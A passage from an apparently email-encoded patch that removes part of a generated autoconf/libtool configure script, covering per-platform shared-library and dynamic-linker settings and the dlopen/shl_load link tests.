shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified= . - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix= ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - sys_lib_search_path_spec=3D"/usr/lib/pa20_64 /usr/ccs/lib/pa20_64= " - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - *) - shrext_cmds=3D'.sl' - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DSHLIB_PATH - shlibpath_overrides_runpath=3Dno # +s is required to enable SHLIB_= PATH - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - esac - # HP-UX runs *really* slowly unless shared libraries are mode 555. - postinstall_cmds=3D'chmod 555 $lib' - ;; - -irix5* | irix6* | nonstopux*) - case $host_os in - nonstopux*) version_type=3Dnonstopux ;; - *) -=09if test "$lt_cv_prog_gnu_ld" =3D yes; then -=09=09version_type=3Dlinux -=09else -=09=09version_type=3Dirix -=09fi ;; - esac - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}= $libname${shared_ext}' - case $host_os in - irix5* | nonstopux*) - libsuff=3D shlibsuff=3D - ;; - *) - case $LD in # libtool.m4 will add one of these switches to LD - *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") - libsuff=3D shlibsuff=3D libmagic=3D32-bit;; - *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") - libsuff=3D32 shlibsuff=3DN32 libmagic=3DN32;; - *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") - libsuff=3D64 shlibsuff=3D64 libmagic=3D64-bit;; - *) libsuff=3D shlibsuff=3D libmagic=3Dnever-match;; - esac - ;; - esac - shlibpath_var=3DLD_LIBRARY${shlibsuff}_PATH - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D"/usr/lib${libsuff} /lib${libsuff} /usr/l= ocal/lib${libsuff}" - sys_lib_dlsearch_path_spec=3D"/usr/lib${libsuff} /lib${libsuff}" - hardcode_into_libs=3Dyes - ;; - -# No shared lib support for Linux oldld, aout, or coff. -linux*oldld* | linux*aout* | linux*coff*) - dynamic_linker=3Dno - ;; - -# This must be Linux ELF. -linux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -n $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. - hardcode_into_libs=3Dyes - - # Append ld.so.conf contents to the search path - if test -f /etc/ld.so.conf; then - lt_ld_extra=3D`$SED -e 's/:,\t/ /g;s/=3D^=3D*$//;s/=3D^=3D * / /g'= /etc/ld.so.conf | tr '\n' ' '` - sys_lib_dlsearch_path_spec=3D"/lib /usr/lib $lt_ld_extra" - fi - - # We used to test for /lib/ld.so.1 and disable shared libraries on - # powerpc, because MkLinux only supported shared libraries with the - # GNU dynamic linker. Since this was broken with cross compilers, - # most powerpc-linux boxes support dynamic linking these days and - # people can always --disable-shared, the test was removed, and we - # assume the GNU/Linux dynamic linker is in use. - dynamic_linker=3D'GNU/Linux ld.so' - ;; - -knetbsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -netbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - dynamic_linker=3D'NetBSD (a.out) ld.so' - else - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'NetBSD ld.elf_so' - fi - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - -newsos6) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -nto-qnx*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -openbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - case $host_os in - openbsd2.[89] | openbsd2.[89].*) -=09shlibpath_overrides_runpath=3Dno -=09;; - *) -=09shlibpath_overrides_runpath=3Dyes -=09;; - esac - else - shlibpath_overrides_runpath=3Dyes - fi - ;; - -os2*) - libname_spec=3D'$name' - shrext_cmds=3D".dll" - need_lib_prefix=3Dno - library_names_spec=3D'$libname${shared_ext} $libname.a' - dynamic_linker=3D'OS/2 ld.exe' - shlibpath_var=3DLIBPATH - ;; - -osf3* | osf4* | osf5*) - version_type=3Dosf - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/= cc /usr/lib /usr/local/lib /var/shlib" - sys_lib_dlsearch_path_spec=3D"$sys_lib_search_path_spec" - ;; - -sco3.2v5*) - version_type=3Dosf - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -solaris*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - # ldd complains unless libraries are executable - postinstall_cmds=3D'chmod +x $lib' - ;; - -sunos4*) - version_type=3Dsunos - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/usr/etc" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - if test "$with_gnu_ld" =3D yes; then - need_lib_prefix=3Dno - fi - need_version=3Dyes - ;; - -sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - case $host_vendor in - sni) - shlibpath_overrides_runpath=3Dno - need_lib_prefix=3Dno - export_dynamic_flag_spec=3D'${wl}-Blargedynsym' - runpath_var=3DLD_RUN_PATH - ;; - siemens) - need_lib_prefix=3Dno - ;; - motorola) - need_lib_prefix=3Dno - need_version=3Dno - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/ccs/lib' - ;; - esac - ;; - -sysv4*MP*) - if test -d /usr/nec ;then - version_type=3Dlinux - library_names_spec=3D'$libname${shared_ext}.$versuffix $libname${s= hared_ext}.$major $libname${shared_ext}' - soname_spec=3D'$libname${shared_ext}.$major' - shlibpath_var=3DLD_LIBRARY_PATH - fi - ;; - -uts4*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -*) - dynamic_linker=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $dynamic_linker" >&5 -echo "${ECHO_T}$dynamic_linker" >&6 -test "$dynamic_linker" =3D no && can_build_shared=3Dno - -echo "$as_me:$LINENO: checking how to hardcode library paths into prog= rams" >&5 -echo $ECHO_N "checking how to hardcode library paths into programs... = $ECHO_C" >&6 -hardcode_action_CXX=3D -if test -n "$hardcode_libdir_flag_spec_CXX" || \ - test -n "$runpath_var_CXX" || \ - test "X$hardcode_automatic_CXX" =3D "Xyes" ; then - - # We can hardcode non-existant directories. - if test "$hardcode_direct_CXX" !=3D no && - # If the only mechanism to avoid hardcoding is shlibpath_var, we - # have to relink, otherwise we might link with an installed libra= ry - # when we should be linking with a yet-to-be-installed one - ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" !=3D no && - test "$hardcode_minus_L_CXX" !=3D no; then - # Linking always hardcodes the temporary library directory. - hardcode_action_CXX=3Drelink - else - # We can link without hardcoding, and we can hardcode nonexisting = dirs. - hardcode_action_CXX=3Dimmediate - fi -else - # We cannot hardcode anything, or else we can only hardcode existing - # directories. - hardcode_action_CXX=3Dunsupported -fi -echo "$as_me:$LINENO: result: $hardcode_action_CXX" >&5 -echo "${ECHO_T}$hardcode_action_CXX" >&6 - -if test "$hardcode_action_CXX" =3D relink; then - # Fast installation is not supported - enable_fast_install=3Dno -elif test "$shlibpath_overrides_runpath" =3D yes || - test "$enable_shared" =3D no; then - # Fast installation is not necessary - enable_fast_install=3Dneedless -fi - -striplib=3D -old_striplib=3D -echo "$as_me:$LINENO: checking whether stripping libraries is possible= " >&5 -echo $ECHO_N "checking whether stripping libraries is possible... $ECH= O_C" >&6 -if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; t= hen - test -z "$old_striplib" && old_striplib=3D"$STRIP --strip-debug" - test -z "$striplib" && striplib=3D"$STRIP --strip-unneeded" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -else -# FIXME - insert some real tests, host_os isn't really good enough - case $host_os in - darwin*) - if test -n "$STRIP" ; then - striplib=3D"$STRIP -x" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - ;; - *) - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 - ;; - esac -fi - -if test "x$enable_dlopen" !=3D xyes; then - enable_dlopen=3Dunknown - enable_dlopen_self=3Dunknown - enable_dlopen_self_static=3Dunknown -else - lt_cv_dlopen=3Dno - lt_cv_dlopen_libs=3D - - case $host_os in - beos*) - lt_cv_dlopen=3D"load_add_on" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - ;; - - mingw* | pw32*) - lt_cv_dlopen=3D"LoadLibrary" - lt_cv_dlopen_libs=3D - ;; - - cygwin*) - lt_cv_dlopen=3D"dlopen" - lt_cv_dlopen_libs=3D - ;; - - darwin*) - # if libdl is installed we need to link against it - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - - lt_cv_dlopen=3D"dyld" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - -fi - - ;; - - *) - echo "$as_me:$LINENO: checking for shl_load" >&5 -echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 -if test "${ac_cv_func_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define shl_load to an innocuous variant, in case declare= s shl_load. - For example, HP-UX 11i declares gettimeofday. */ -#define shl_load innocuous_shl_load - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char shl_load (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef shl_load - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_shl_load) || defined (__stub___shl_load) -choke me -#else -char (*f) () =3D shl_load; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D shl_load; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 -echo "${ECHO_T}$ac_cv_func_shl_load" >&6 -if test $ac_cv_func_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" -else - echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 -echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -int -main () -{ -shl_load (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 -if test $ac_cv_lib_dld_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" lt_cv_dlopen_libs=3D"-dld" -else - echo "$as_me:$LINENO: checking for dlopen" >&5 -echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 -if test "${ac_cv_func_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define dlopen to an innocuous variant, in case declares = dlopen. - For example, HP-UX 11i declares gettimeofday. */ -#define dlopen innocuous_dlopen - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char dlopen (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef dlopen - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_dlopen) || defined (__stub___dlopen) -choke me -#else -char (*f) () =3D dlopen; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D dlopen; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 -echo "${ECHO_T}$ac_cv_func_dlopen" >&6 -if test $ac_cv_func_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" -else - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 -echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 -if test "${ac_cv_lib_svld_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-lsvld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_svld_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_svld_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 -if test $ac_cv_lib_svld_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-lsvld" -else - echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 -echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_dld_link+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dld_link (); -int -main () -{ -dld_link (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_dld_link=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_dld_link=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 -if test $ac_cv_lib_dld_dld_link =3D yes; then - lt_cv_dlopen=3D"dld_link" lt_cv_dlopen_libs=3D"-dld" -fi - - -fi - - -fi - - -fi - - -fi - - -fi - - ;; - esac - - if test "x$lt_cv_dlopen" !=3D xno; then - enable_dlopen=3Dyes - else - enable_dlopen=3Dno - fi - - case 